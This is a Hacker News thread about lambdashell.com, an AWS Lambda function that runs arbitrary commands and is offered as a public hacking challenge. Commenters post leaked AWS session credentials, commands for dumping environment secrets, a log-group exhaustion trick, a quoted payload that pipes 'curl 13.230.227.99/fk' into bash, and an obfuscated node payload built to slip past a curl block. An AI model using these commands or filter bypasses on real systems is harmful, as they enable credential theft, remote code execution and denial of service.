Is serverless insecure? Let's find out | Hacker News Reader

Is serverless insecure? Let's find out

lambdashell.com

222 pointsvdmq52 comments

  AWS_SESSION_TOKEN=FQoGZXIvYXdzEL7//////////wEaDLrjfq5THKULF+vCbyLdAXvIJIQYpbvyNbsoM78owNvdOi4xqqwm0kYRol0RLCtpO9QnBhn+4LhWWZHSjH0vfxRgbY3trqeTfX/U4c1zmtjMEbyN9ALic8Jo2s6m4CRdB+KMLdjg5/UKr1InaT2eONXqJ0JQYe712luic6sqbP5xlXa5QL2Z/+LoKJMs3PHgCOtjzUhPvLph5J+DDIb4I/xuaWwntrMtxXY7Ayo9YQGlh5zczJqhepBrig2Ajd7/eV0eelB/FxoQI493vItYtWnpGk5Cq4CAGH9a/XTDAD8+2Hui+r6PvdBYdbBlKN2J4tsF
  AWS_SECRET_ACCESS_KEY=IUsl7aO1EB5SNdlvivgNKjLwsLq6Mxj0vVX1bw5y
  AWS_ACCESS_KEY_ID=ASIARZMXIAFTOAUFCQFN
  $ aws sts get-caller-identity
  {
      "UserId": "AROAI55KPKEETYCGL4SXW:exec",
      "Account": "123260633446",
      "Arn": "arn:aws:sts::123260633446:assumed-role/lambda_basic_execution/exec"
  }

That's all I've gotten so far.

Found something! I'll post if/when the hole is closed. Til then it could cost some $$$.

can you share yet

    env | grep AWS

Would provide a similar output to the first part. Also:

    cat /proc/1/environ

Also with: ps get

Found that accidentally because of autocomplete on my phone changed "-ef" to "get".

"ps e" is usually enough to see the environment variables. g is similar to (if not equal to) a. t would display the tty information.

Not necessarily a security vulnerability per se, but I was able to fill up the AWS account with CloudWatch log groups by doing the following:

1. "env | grep AWS" 2. Export those creds locally where you have the CLI installed. They'll work for at least 15-30 minutes depending on the IAM config. 3. Run "aws sts get-caller-identity" to see the role info.

This prints:

123260633446 arn:aws:sts::123260633446:assumed-role/lambda_basic_execution/exec

Which seems to imply it has the default Lambda basic execution policy. That policy has the permission "logs:CreateLogGroup" which means you can then run:

aws logs create-log-group --log-group-name <random name>

Repeat x5000 and hit the AWS limit for log groups in an account. This isn't necessarily a security risk in and of itself, but it could cause issues if anything else were running in the account that needs logs, or could prevent new services from spinning up.

Using STS GetSessionToken with this method you can log into the console with the Lambda basic execution role: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_pr...

https://imgur.com/a/psajfhw

It's mostly useless of course.

Yeah, my train of thought was that the OP had tied some additional privileges to the role, but unfortunately it seems to just be the bare minimum.

Not a security issue but you're appending the PATH with LAMBDA_TASK_ROOT in the handler which is causing it to be appended over and over again with each execution. You can modify the PATH outside of the handler function so it's only done once.

  process.env['PATH'] = process.env['PATH'] + ':' + process.env['LAMBDA_TASK_ROOT'];


  user@host:~ echo $PATH
  /var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var
  /task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/v
  ar/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:
  /var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/tas
  k:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/t
  ask:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var
  /task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/var/task:/v
  ar/task:/var/task:/var/task... (redacted for brevity)

More code-review-as-feedback:

It's also probably wise to "return" the "context.done" callbacks in the try/catch so it doesn't double-callback, or otherwise get rid of that last TODO "context.done" call.

Correct title would be "Is AWS Lambda insecure?"

Serverless is not an Amazon trademark. There are others out there.

Very similar to https://contained.af/, which has been much longer running and has not yet been pwned.

Also recently got a bug bounty tacked on.

Help for those who are stuck: Hacking Serverless Runtimes - Profiling Lambda, Azure, and more.

https://www.blackhat.com/docs/us-17/wednesday/us-17-Krug-Hac...

An oldie, but worth a lookieloo... Rich Jones' presentation from 33c3:

https://media.ccc.de/v/33c3-7865-gone_in_60_milliseconds

Does anyone know why Rich Jones never released this tool???

https://github.com/Miserlou/Mackenzie

(If we had this tool....)

This one is interesting to watch not only for the content but also for the presentation style.

AWS_ACCESS_KEY_ID="ASIARZMXIAFTER5GI45J" AWS_DEFAULT_REGION="us-west-1" AWS_EXECUTION_ENV="AWS_Lambda_nodejs6.10" AWS_LAMBDA_FUNCTION_MEMORY_SIZE="128" AWS_LAMBDA_FUNCTION_NAME="exec" AWS_LAMBDA_FUNCTION_VERSION="\$LATEST" AWS_LAMBDA_LOG_GROUP_NAME="/aws/lambda/exec" AWS_LAMBDA_LOG_STREAM_NAME="2018/08/19/[\$LATEST]7377542138964953a23a5c2ee9164191" AWS_REGION="us-west-1" AWS_SECRET_ACCESS_KEY="7Ao7NuH8s1sAY4IX+k3kiTMPfzpXYEnpfBAd4oy7" AWS_SESSION_TOKEN="FQoGZXIvYXdzEMn//////////wEaDM9ld7g0OwC5maHXNiLdAb4ha2GIX9M5LqgIUmflmoia5G CgLfbl6RhdKqbda7keAcWMZQSvSGiXTP9YZe8+n0V2itouoDxCjCQIOO/H4ZP0TFjoOFkIoIDogYKjyukVYtyMdFVs/hKwmeEQpt nGbmgHWnGwMz8wTPLqd8GgouO2iodUlErgsVGecZleRCxriEJvRczlD86NbelHo1rrJQrLIOP7hJHVXDP26ujwGQDKz92kQfH2gN umQayFunGKpIvXc4ubCI1Ce0061uxYYAyGdgo+yXOjA0fkUauivRHnjPcJdXNjzd+fcG07KPC65NsF" AWS_XRAY_CONTEXT_MISSING="LOG_ERROR" AWS_XRAY_DAEMON_ADDRESS="169.254.79.2:2000" LAMBDA_RUNTIME_DIR="/var/runtime" LAMBDA_TASK_ROOT="/var/task" LANG="en_US.UTF-8" LD_LIBRARY_PATH="/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var /task/lib" NODE_PATH="/var/runtime:/var/task:/var/runtime/node_modules" OLDPWD PATH="/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/var/task" PWD="/var/task" SHLVL="1" TZ=":UTC" _AWS_XRAY_DAEMON_ADDRESS="169.254.79.2" _AWS_XRAY_DAEMON_PORT="2000" _HANDLER="index.handler" _X_AMZN_TRACE_ID="Root=1-5b7924b4-1aca734c5ba3fc464dc68e42;Parent=28fd6d640d617eed;Sampled=0"

Erratic use of const v. var is a giveaway.

I'm not sure I grasp the reason that every command entered is stored to localStorage and repeated in the console, and that xss.js file is looking a little suspicious.

To see all available commands, `compgen -c | sort`.

A bold test. I like it!

AWS bug bounty page is here: https://aws.amazon.com/security/vulnerability-reporting/

Why does AWS allow /tmp/ to hold data across executions? (just for speed?)

user@host:~ ls /tmp/

test

user@host:~ ls /tmp/

at_everyone__WHO_IS_MONITORING_THIS_QUESTIONMARK

aws.tgz

file.txt

foo

foo.txt

sshd-tar.gz

test

user@host:~ cat /tmp/egg.js

console.log(process.getuid())

user@host:~ cat /tmp/egg.js

Command failed: cat /tmp/egg.js

cat: /tmp/egg.js: No such file or directory

So you can download and cache locally some resources then reuse them on next call while the function is still active (20 to 40 minutes based on my tests.

Yes. It's a common trick to speed up execution. If you have to download a big chunk of data to make your lambda work, you download it to /tmp, and then when you run you first check for it there.

Exactly, it allows your function to cache state between executions if that state won't fit in RAM (up to 500MB). I use this to cache objects from S3 so I can avoid the latency of a round-trip for popular objects.

I'm not going to be much help. I'm not too sure what you would exploit. Trying to escape the amazon api through some kind of VM escape seems pretty hard and I guess would get you a much bigger bounty from amazon. Maybe use the auth keys to access the accounts? Am I correct in thinking that the box the site is running on is complately different to the one the console is on? Is index.js a clue?

Anyway to more easily see what everyone else is doing run grab_commands() from the browser console.

Interestingly, the code behind this was published as a gist over a year ago. https://gist.github.com/hefangshi/b73a0e5b24dcfc04668e2019c8...

Not sure why it strips "internal" variables, are those sensitive?

Author of lambdashell here - that is not the code. You can see the actual code by just doing 'cat index.js' - this is as the website states, a default lambda function doing an exec()- really, really simple.

https://gist.github.com/scottstamp/db570d80c09cf5f357eac78a9...

Looks identical? The revision is from index.js.

Surprised nobody noticed Node.js 0.10.46 is installed on all hosts, under /usr/bin.

I'd assume this may be a good place to start.

How can a lambda be a shell? I thought they were meant to be safe functions for compute.

Probably just running exec(input) in whatever language the lambda is in

They are just functions - but Node lets you run external scripts. The relevant bit of source (you can view it all with cat index.js) is:

``` const result = childProcess.execSync(event.body.command).toString(); console.log(result); var response = {result: result}; context.done(null, response); ```

So it's not really a shell itself, but every time you send a command on the website it runs it, returns you the response, and the website adds that response to its shell GUI.

I don't really understand how this is serverless if you are still connecting to a remote terminal. There has to be some kind of service to receive the connection through a TCP port. To me the term serverless suggests execution on the local computer without transmission.

It is not connected to a remote terminal in the normal way. It is just a design terminal, where your input is send to a lambda running NodeJS that runs your command using a childProcess.execSync(command).

So each command typed is a lambda invocation.

The idea of "serverless" is that you don't have to manually provision and manage servers yourself. You just provide the code you want to run and the service handles the rest for you. From the developer's point of view, there's no "server" they need to deal with. (although there is actually a real server in there somewhere, of course)

When I think of serverless I think of an application that runs on the desktop, in the browser, or WASM. The generated data is stored in the same place the application is run. The only distribution is the initial delivery of the application. Not only is that confined to one side of a network no network is required.

I suppose the reason I have trouble accepting this use of serverless is in the case of a connection interruption. If the connection goes down the application is killed, which sounds like a service availability failure to me.

It's a buzzword. We don't store data in actual clouds either, it's just named after the standard icon the internet in network graphs. Same deal

Serverless is a buzzword. It's not meant to be logical.

I don't expect there to be any obvious privesc or interesting vulnerability... I'm curious to know what benmanns might have found, though.

If there is one, the author is quite cheeky, since that could allow him to crowdsource an AWS bug bounty :)

That said, getting RCE is usually really interesting because you can get access to the secrets and sensitive data that the app needs to run, but this app doesn't need anything interesting to run (besides the AWS token which can only log to cloudwatch). This means that the only resource that it's using is the compute and network itself.

The most obvious way to exploit this, would then be to mine cryptocurrencies, which won't be trivial due to the 3s task limit. It would still be doable by splitting the work into chunks doable in 3s, and making the payload re-entrant, just like the "curl DoS" that the author is currently attempting to block.

In fact, a hidden cryptominer and a DoS both have the goal of maximing resources usage :)

I noticed the "curl DoS" since now any curl command will fail due to the check that returns "blocking curl due to people just using it for stupid DoS - yes this is ghetto: will re-enable once I find a better method"

The payload is

    for i in $(seq 1 2);
    do
      #echo 1 &
      curl -v -X POST -H 'Content-Type: application/json' -d '{command: "curl 13.230.227.99/fk | bash"}' https://yypnj3yzaa.execute-api.us-west-1.amazonaws.com/dev &
    done

Obviously, that's not enough to prevent such a DoS from happening: you can just recreate the curl string at runtime

e.g. `$(echo cu)rl http://httpbin.org/ip` still works, but we could also use Javascript and parametrize the payload with a random key (and a server could easily pick a different one at every request). The only way to detect it would then be to decode it by running the Javascript, which can still leave you exposed to other HTTP requests that you could make directly via node's http

For example, I created this POC: https://gist.github.com/berdario/6161a1f9e4bc4d246bcd97379f9...

which will create a payload like:

    node -e 'console.log(String.fromCharCode(...[180, 226, 137, 102, 18, 77, 192, 168, 75, 218, 234, 143, 19, 173, 145, 213, 247, 49, 35, 107, 135, 230, 75, 205, 247, 183, 241, 213, 215, 167, 10, 37, 138, 133, 27, 237, 252, 96, 254, 246, 220, 197, 119, 236, 101, 176, 36, 114, 46, 206, 242, 185, 240, 244, 255, 10, 39, 122, 244, 243, 195, 231, 3, 202, 148, 253, 38, 86, 84, 216, 8, 44, 128, 129, 39, 183, 82, 97, 164, 253, 87, 121, 132, 86, 233, 171, 159, 117, 71, 2, 193, 116, 241, 83, 203, 35, 139, 17, 59, 153, 156, 90, 134, 186, 234, 41, 113, 64, 152, 143, 154, 204, 28, 210, 36, 245, 120, 207, 93, 144, 242, 164, 11, 172, 1, 156, 252, 93, 136, 87, 112, 234, 124, 50, 250, 191, 21, 157, 251, 182, 72, 35, 67, 211, 3, 36, 32, 122, 79, 98, 140, 182, 103, 203, 187, 125, 217, 240, 41, 218, 131, 40, 89, 190, 192, 17, 66, 166, 55, 21, 246, 24, 167, 199, 239, 126, 212, 112, 126, 224, 234, 83, 16, 77, 72, 17, 168, 147, 104, 107, 154, 21, 71, 206, 240, 64, 198, 61, 19, 192, 33, 145, 121, 111, 153, 227, 145, 185, 253, 35, 104, 155, 64, 35, 221, 249, 11, 110, 220, 152, 47, 153, 9, 235, 237, 90].map((x,i)=>x^[215, 151, 251, 10, 50, 96, 182, 136, 102, 130, 202, 223, 92, 254, 197, 245, 218, 121, 3, 76, 196, 137, 37, 185, 146, 217, 133, 248, 131, 222, 122, 64, 176, 165, 122, 157, 140, 12, 151, 149, 189, 177, 30, 131, 11, 159, 78, 1, 65, 160, 213, 153, 221, 144, 223, 45, 92, 25, 155, 158, 174, 134, 109, 174, 174, 221, 4, 51, 55, 176, 103, 12, 220, 163, 87, 219, 51, 2, 193, 221, 63, 28, 246, 51, 201, 202, 241, 26, 51, 106, 164, 6, 209, 16, 158, 113, 199, 49, 79, 246, 188, 59, 166, 201, 143, 91, 7, 37, 234, 175, 238, 164, 125, 166, 4, 130, 17, 163, 49, 176, 128, 193, 127, 217, 115, 242, 220, 60, 168, 57, 21, 157, 16, 75, 218, 218, 123, 254, 148, 210, 45, 71, 99, 176, 110, 64, 0, 14, 32, 66, 248, 223, 2, 235, 207, 21, 188, 208, 66, 180, 236, 92, 5, 156, 226, 108, 101, 134, 95, 97, 130, 104, 212, 253, 192, 81, 173, 9, 14, 142, 128, 96, 105, 55, 41, 112, 134, 246, 16, 14, 249, 96, 51, 171, 221, 33, 182, 84, 61, 181, 82, 188, 14, 10, 234, 151, 188, 136, 211, 66, 5, 250, 58, 76, 179, 152, 124, 29, 242, 251, 64, 244, 38, 143, 136, 44][i])))'

Which you can execute by piping its output into sh again

> If there is one, the author is quite cheeky, since that could allow him to crowdsource an AWS bug bounty :)

That seems like exactly what they're doing.

All great points. Also realizing that it’s pretty easy to bypass my simple check but I needed something to temporarily pause the loop. I want to allow curl completely as that is in the default exec environment but I don’t know of a good way to prevent the basic ddos. Any ideas?

Any issues found I will recommend to the author to submit directly to amazon I will not be doing so. Also I will be adding a section to the site showing issues found so far with credits to finder.

"It's a trap"

Or,

"Give me a job"

Meta point, what's the opposite of betteridge's law of headlines for security?

Is X insecure? -> yes

user reported by whoami is sbx_user1105

the user changes each time `whoami` is entered.

user@host:~ whoami

sbx_user1084

user@host:~ whoami

sbx_user1080

This is because the instance is constantly being destroyed and rebuilt, I'm not sure what the timeout is exactly, but it's not long. Reverse shells die within 2-3 seconds.

getting a looot of 429s

user@host:~ echo `whoami` sbx_user1105

echo whoami

sbx_user1105

Reply on news.ycombinator.com